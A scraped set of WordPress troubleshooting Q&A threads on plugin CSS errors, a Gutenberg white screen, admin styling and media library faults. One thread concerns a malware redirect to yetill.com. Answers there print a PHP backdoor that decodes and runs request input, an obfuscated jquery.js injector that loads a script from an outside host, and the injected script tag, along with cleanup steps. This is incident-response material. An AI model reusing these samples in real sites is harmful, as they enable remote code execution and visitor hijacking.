Hi Guys I have a problem similar to this previous question but based on WordPress.
Everything was working fine, then the plugin has stopped to work! I am no more able to load my modal windows because the plugin is not able to load the CSS.
The fact is that I've tryed to unistall and install a brand new version of the plugin a coupple of times, but noting has changed, I still see this error:
d.onCleanup is not a function
from the file wp-content/plugins/easy-fancybox/fancybox/jquery.fancybox-1.3.4.pack.js?ver=1.3.4
Now I've seen that I sould check for the css file created by easy-fancybox.css.php and when I try what's is inside this file I've a 404 Nothing Found error, but the file is present inside my folder and I really don't understand why its behaving like that!
I've cheched permissions, copied a coupple of times but nothing solved my problem!
Someone has a clue on how to fix this issue?
If you wanna see the site follow this link and click on a thumbnail.
Thanks for the help!
Just add fancybox js and css like below.
add_action('init','jsregister');
function jsregister(){
wp_register_script( 'fb', WP_PLUGIN_URL.'/fancybox/fancy/jquery.fancybox-1.3.4.pack.js','jquery', false );
wp_enqueue_script( 'fb' );
wp_register_script( 'fbe', WP_PLUGIN_URL.'/fancybox/fancy/jquery.easing-1.3.pack.js','jquery', false );
wp_enqueue_script( 'fbe' );
wp_register_style('fbs', WP_PLUGIN_URL.'/fancybox/fancy/jquery.fancybox-1.3.4.css');
wp_enqueue_style( 'fbs');
}
I'm sure you're long past this, but as it came up for me, I'll present what worked for me, namely Turn off Super-cache or whatever cache type plugin you might have running (make sure the cache files are gone too.) Everything went back to normal for me after that.
It seems your WP installation in the site root catches the call to http://designonsale.info/wordpress/wp-content/plugins/easy-fancybox/easy-fancybox.css.php?ver=1.3.4 before it reaches the actual file.
Is there some .htaccess rule doing that maybe?
Related
I've been fiddling quite a lot with an issue with the new Gutenberg editor in wordpress 5.x in which i experienced a white/blank screen when trying to edit a page.
What's weird is that I originally thought it was due to Yoast SEO (plugin) and an error with 'pluginSidebar', but disabling it didn't make a difference.
I also tried all the possible solutions I found, e.g.:
Delete browser cache
Delete server cache (W3TC)
Disable all plugins
Change theme (which actually solved it, but isn't a theme-issue (see answer)
I solved similar problem by deleting these lines. If you have similar expressions which change behavior of script's, it may cause problem. For my case, I deleted a function from function.php file:
function js_async_attr($tag)
{
# Add async to all remaining scripts
return str_replace(' src', ' async="async" src', $tag);
}
add_filter('script_loader_tag', 'js_async_attr', 10);
I've chosen to create a question and answer it myself as I've been bothered with this issue quite some time, and I'm hoping it might help some others.
After several attempts of fixing it and multiple searches I've finally found the error through trial-and-error, and the issue stems from an old "tip" (e.g. from here) for speed optimization in which you disabling the queuing of wp-embed.min.js (hook: wp-embed) such as below:
function my_deregister_scripts(){
wp_dequeue_script( 'wp-embed' );
}
add_action( 'wp_footer', 'my_deregister_scripts' );
However, disabling/dequeuing the wp-embed causes Gutenberg to malfunction and return a white screen!
Solution: If you have the above line of code in your functions.php then try to remove it, if you experience a white screen.
Anyone who can help me how to fix my site?
It is always redirecting to yetill.com. I searched about this site and i learned that it is a kind of malware.
Tried various solutions found on the net but still not solved.
Thanks.
Preliminary steps:
Backup everything
Check the file wp-includes/js/jquery/jquery.js - the first line should only contain a comment like /*! jQuery v1.... Delete anything before that line (you made a backup, right?)
Check your /wp-content/uploads directory for suspicious files. For us it was we had malicious files e.g. in this sub dir: /ultimatemember/temp/[random dir]/n.php - Delete those after making a backup.
Install WordFence WP plugin and scan your site
Double-check that wp-includes/js/jquery/jquery.js is still OK (it can be modified again)
Consider the WordFence option "Disable Code Execution for Uploads directory" to prevent future intrusions if that works for your site (test!).
Background:
We have the same problem. Wordfence noticed that the file wp-includes/js/jquery/jquery.js was modified on the server. Restoring it to the original version seemed to solve it. BUT, the file got infected quickly (hours?). So we do not know the source yet...
We found some suspicious code in /wp-content/uploads/ultimatemember/temp/[random dir]/n.php:
<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>
That basically executes any PHP code from outside...
After deleting those files, the site did seemed back to normal (couple of hours).
We also noticed a suspicious <a> tag in the page source; but not sure about its relevance.
<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>
It seems that this is caused by the vulnerability of some plugins you might be using.
In my case it was the older version (prior to 2.22) of Ultimate Member plugin.
If you are using version 2.22 or earlier of this plugin, you should update this plugin immediately, and purge temp files. (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)
After that, search recently updated files with this command. (e.g. 15 days)
find ./ -type f -mtime -15
Chances are your WP jquery file and any files with name "header" is likely to be infected.
/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..
Remove the following script in your infected header files.
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
It looks like this is inserted right after opening head tag and right before closing head tag. Make sure you delete both.
Remove maliciously inserted script from infected Jquery file or just replace the file with clean one from other WP Core installations.
I think this should fix the issue.
You will have to do some troubleshooting. It is either your theme or one of your plugins that contains the malicious code.
Follow these steps:
Switch to a default theme like TwentySeventeen - If the issue
persists, it means it is not your theme.
Deactivate all your active plugins and check the website - The issue should go away.
Begin reactivating your plugins, clearing the cache after each reactivation
and checking your website - Whenever the issue shows up again, it is
that plugin that's the culprit and you cannot use that plugin.
Hope this helps.
jquery file was infected in my case. Just delete the code before /*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */ and make sure that all of your plugins are updated and the site is secure. Also chech the permissions of the files! That helps me in my case
We have the same error, these files were infected. This is the malicious code I've found in them.
wp-includes/js/jquery/jquery.js
(function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();
themes/yourtheme/header.php
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
This is what I found today after running securi scanner. Hopefully this helps someone because this one is a nasty one. It appears in my case to be affecting the following files:
wp-admin/install.php
wp-includes/js/jquery/jquery.js
wp-includes/theme-compat/header-embed.php
wp-includes/theme-compat/header.php
Whatever it was seemed to have gone ham on my wp-includes directory.
I do run Ultimate Member plugin and I noticed someone mentioned before that earlier versions of this plugin had vulnerabilities. I run a multi-site network, and also noticed that two of the registration forms on my sub-sites had the default role of Administrator (what plugin vendor would find that secure as a default registration option?) with the auto approve option enabled (no verification emails). Apparently activating this plugin in a network environment requires some extra thorough review on those registration and sign in forms.
Had the same issue. jquery was infected and had to be replaced with the original version. The hacker probably used ultimatemember backdoor to upload a php file and execute it. I had to clean up the plugin temp directory.
Another observation was that the hack was forcing modified jquery to load script, which address was loaded from http://src.eeduelements.com/get.php . This gives them the flexibility to rotate the ads.
sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"
that along with this answer below helped me clean my files. It affected all of my websites but now seems to still persist on the site that had ultimate member on it. Still working on it. This Php script was incredible though. thanks to the writer for sure.
PHP/SSH regex script/command to delete identical malware code from many files
This is the php from the above answer. I just swapped out the find portion with the malicious stuff redirecting to yetill.
<?php
//Enter it as it is and escape any single quotes
$find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';
echo findString('./',$find);
function findString($path,$find){
$return='';
ob_start();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($path.'/'.$file)){
$sub=findString($path.'/'.$file,$find);
if(isset($sub)){
echo $sub.PHP_EOL;
}
}else{
$ext=substr(strtolower($file),-3);
if($ext=='php'){
$filesource=file_get_contents($path.'/'.$file);
$pos = strpos($filesource, $find);
if ($pos === false) {
continue;
} else {
//The cleaning bit
echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
$clean_source = str_replace($find,'',$filesource);
file_put_contents($path.'/'.$file,$clean_source);
}
}else{
continue;
}
}
}
}
closedir($handle);
}
$return = ob_get_contents();
ob_end_clean();
return $return;
}
?>
I'm really baffled about this. In the last couple of days (since I was using the site last), my Wordpress install has suddenly lost almost all of its formatting (only the top bar seems to work.
The CSS does seem to be loading, but its missing tons of them:
Here is the same page on another site (same version of WordPress);
I'm at a loss as to what could be causing this all of a sudden. The front end if fine, just to reiterate that.
UPDATE: thanks to someone over at https://wordpress.stackexchange.com/, I followed these instructions:
Try the following: 1) Clear your browser cache. 2) Re-install
WordPress (keep wp-content and your database, just reinstall the core
files)
....and that has now fixed it :) Thanks to everyone who offered suggestions though!
Another solution, try adding this to wp-config.php:
define( 'CONCATENATE_SCRIPTS', false );
I solved this by re-registering dashicons.
I disabled it fully with:
wp_deregister_style( 'dashicons' );
After I commented out this line it worked normally. Hope this helps.
Had the same issue and fixed it by opening the Wordpress table wp-options in phpmyadmin (or the like).
Make sure your two entries "siteurl" and "home" are the correct.
http://yourwordpressurl.something, if the domain stated in these two fields are wrong the css style is the first to go.
To check:
select * from wp_options where option_name in ('siteurl', 'home');
Then you can update if it's not.
So this problem is very strange because for me doesn't work Wordpress media library in Wordpress admin menu only grid mode, its very strange problem because this problem occurs ONLY on 1 account/ That would be same account that yesterday i was trying upload bunch of pictures to media library and it gave error:
Try again later...
Since that i have tried many things but besides logging with other account nothing helped.
Tried reninstall wordpress via wordpress admin panel
Tried disabling all plugins, changed theme to default wordpress
Tried inspect elemet for JS errors nothing there except
upload.php?mode=grid:46 Consider using 'dppx' units, as in CSS 'dpi'
means dots-per-CSS-inch, not dots-per-physical-inch, so does not
correspond to the actual 'dpi' of a screen. In media query expression:
print, not all, (-webkit-min-device-pixel-ratio: 1.25),
(min-resolution: 120dpi)
Tried include in theme functions bunch of codes that i found on internet didn't helped.(i don't have them now since nothing helped and i didn't saved them sorry...)
Tried flushing cache, proxy, different computers, different operating systems(max,windows), tablet nothing still on that particular account media grid view doesn't work
View that 'm seeing is this:
I don't understand whats wrong, why on 1 particular account it doesn't work i even tried flushing Wordpress cache but it doesn't work after i received that error which i showed above. Did somebody know how can i solve this? Thanks in advance!
Got exactly the same problem and some ajax error on revolution slider too, and after searching for long time i resolved my problem.
It was just an HTML comment in functions.php on child theme, after remove it, everything work perfectly for me.
Same problem with space in function.php don't cut your code with space between php tag
this type problem is create by functions.php file , remove the code of you added in functions.php and than see it work proper.
standerd code write in functions.php file
In my case, there was an error in the backend. You should check your network tab in developer tools and find admin-ajax.php. Even if it returns HTTP 200, it shows an error in the response body.
From the information provided, you can work on which plugin, theme, or whatever file causes the error.
If the problem is with the user and seeing that you have tried almost all, you can try deleting the user and creating it again.
I had exactly the same error. I could not search for plugins, get the list of my uploads, everywhere where an ajax function was triggered, I needed to reload the page to see the results.
clean your functions.php and see if it works now. if yes, clean up your functions.php search for spaces or not set closing tags.
Solution was simple – I just had accidentally added a closing php tag in my functions.php (?>).
After I removed it the problem was solved.
I have a huge problem with my Wordpress. My uploaded images don't list in the Media Library.
It is weird tho, it says I have 75 images, but display none. Take a look yourself.
Even weirder, if I go into gallery (the images you uploaded in the page itself), the images list just fine.
I already tried deactivating all my plugins, didn't work. Cache can be easily put out of the question, because it happened on at least 4 different computers, with Macs, PCs, and navigating with Safari, Firefox and Chrome.
Another interesting fact is that if I upload the image directly trough the computer (with the "From Computer" tab), everything goes fine. Another website on the same server works just fine too. And just to add to the complexity, when I go to the media page in the Wordpress Admin, all images show up just fine.
Oh, and before I forget... applying any filters, or doing a research in the media will always come up with the same problem.
So there... that's where I'm at.
I had a same problem just now, with missing media library images for my blog. The images appeared to be right there in the media library and were definitely on the actual web server (checked via FTP).
As Allen Z advised I did "check Settings → Media and make sure that Uploading Files folder is set to wp-content/uploads"
Mine were set to the default blank. I altered this to an absolute path http://www.example.com/wp-content/uploads
THIS DIDNT SOLVE THE PROBLEM when I refreshed the site in browser. However, I immediately changed the path back to blank (the default setting again) and everything came back! Woop
Everyone having this problem might want to try this before getting into the more technical fixes!
it was your permalinks... you must have changed to labeled-name... switch back to default.
that worked for me.
Check Screen Options (dropdown tab in the upper right hand corner of the page), and make sure there are sane settings for what to show on screen. All the column settings should be checked, and there should be a positive number of media items being shown on screen.
If that is ok, then check Settings → Media and make sure that Uploading Files folder is set to wp-content/uploads.
I believe these are the only settings that can be changed from the administrative screens.
Here's something a guy on Wordpress forum showed us. Add the following to your functions.php file. (remember to create a backup of your functions.php first)
add_filter( 'wp_image_editors', 'change_graphic_lib' );
function change_graphic_lib($array) {
return array( 'WP_Image_Editor_GD', 'WP_Image_Editor_Imagick' );
}
...it was that simple.
Well, Seems like there was a bug when creating custom post types in the function.php file of the theme... which bugged that.
I had this problem with wordpress 3.8.1 and it turned out that my functions.php wasn't saved as utf-8. Re-saved it and it
I faced same issue on my wordpress site. After the lot of debugging i fixed my problem step by step like this.
First add given below code your db-config.php
define('SCRIPT_DEBUG', TRUE);
define('WP_DEBUG', TRUE);
define( 'WP_DEBUG_LOG', true );
Then goto /wp-includes/js/wp-util.js files and find the code $.ajax(
options ) on line number 100 insert given below code into your file
deferred.jqXHR = $.ajax( options ).done( function( response ) {
try {
response = JSON.parse(response);
} catch (Exception) {
response = response;
}
Please check your may be resolved.
if you Removed constant from db-config.php
define('SCRIPT_DEBUG', TRUE);
define('WP_DEBUG', TRUE);
define( 'WP_DEBUG_LOG', true );
Then compress your /wp-includes/js/wp-util.js file code and put your compressed code into /wp-includes/js/wp-util.min.js
*change your own risk if your update your wordpress version your changed may be lost.
Did you ever change the directory of your Wordpress install?
I had a problem with not finding my uploaded images after changing the Wordpress location on my server. In Wordpress, I went to Dashboard-> Settings -> Media and changed the uploads folder in the "Store uploads in this folder" field.
Considering the files were not uploaded via media uploader, they are present in the server but there's no reference to them in your database (in a little more detail).
In order to fix it, install the Media Sync plugin. Once it's active, under Media > Media Sync > Scan Files and select the files you want to import by click the checkbox next to them. Make sure also you untick the selectbox Dry Run (test without making database changes).
Then, when the time comes for you to be ready, just click "Import Selected" and you should see something like this
Once it is finished, you can visit Media > Library and you'll see all your imported files there.
How did you upload those images; via FTP or through WP uploader? You have to upload images THROUGH WP uploader in order to show them in the image library.
Ubuntu stores uploads in /var/lib/wordpress/wp-content/uploads . So what you need is to have this directory within your wordpress installation. Something like:
sudo ln -s /var/lib/wordpress/wp-content/uploads /var/www/www.mysite.com/wp-uploads
(replace mysite.com with your domain, the file should exist) should do the trick.
(Note that I've not tested this with multiple wordpress installations on one server.)
Further note that to make upload work at all (but this wasn't the question), you need to change Settings / Media / Store uploads in this folder to
wp-content/uploads
(no leading slash).
check .htaccess file in root of wordpress, maybe there is a rule for /uploads directory.
if so, remove it. but be careful and check which plugin did it, so disable the plugin, first.